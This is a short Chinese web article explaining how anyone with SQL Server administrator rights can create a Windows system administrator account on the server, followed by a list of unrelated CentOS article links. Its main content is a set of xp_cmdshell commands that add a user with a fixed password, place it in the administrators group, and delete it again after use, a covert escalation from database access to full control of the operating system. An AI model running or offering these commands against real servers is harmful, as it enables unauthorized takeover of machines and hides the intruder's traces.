


通过sql server添加系统管理员
添加时间:2013-3-12 17:45:38
添加:
思海网络
如果我们有某服务器sql server的管理员权限,如果服务器没有做特殊限制的话,我们可以轻松的在这台服务器上添加系统管理员用户。
方法,打开查询分析器,连接到服务器sql server的master库,执行如下SQL语句
xp_cmdshell 'net user mmcgzs 123qwe!@# /add'
xp_cmdshell 'net localgroup administrators mmcgzs /add'
使用完以后删除
xp_cmdshell 'net localgroup administrators mmcgzs /delete'
xp_cmdshell 'net user mmcgzs /delete'
查看已有的系统用户
xp_cmdshell 'net user '
xp_cmdshell 是sql的一个扩展那存储过程,用于执行一个命令行语句,我们使用net user /add添加一个用户,然后使用 net localgroup 命令把这个用户添加到管理员组,就这么简单。
关键字:系统管理员、sql server、服务器
新文章:
- CentOS7下图形配置网络的方法
- CentOS 7如何添加删除用户
- 如何解决centos7双系统后丢失windows启动项
- CentOS单网卡如何批量添加不同IP段
- CentOS下iconv命令的介绍
- Centos7 SSH密钥登陆及密码密钥双重验证详解
- CentOS 7.1添加删除用户的方法
- CentOS查找/扫描局域网打印机IP讲解
- CentOS7使用hostapd实现无AP模式的详解
- su命令不能切换root的解决方法
- 解决VMware下CentOS7网络重启出错
- 解决Centos7双系统后丢失windows启动项
- CentOS下如何避免文件覆盖
- CentOS7和CentOS6系统有什么不同呢
- Centos 6.6默认iptable规则详解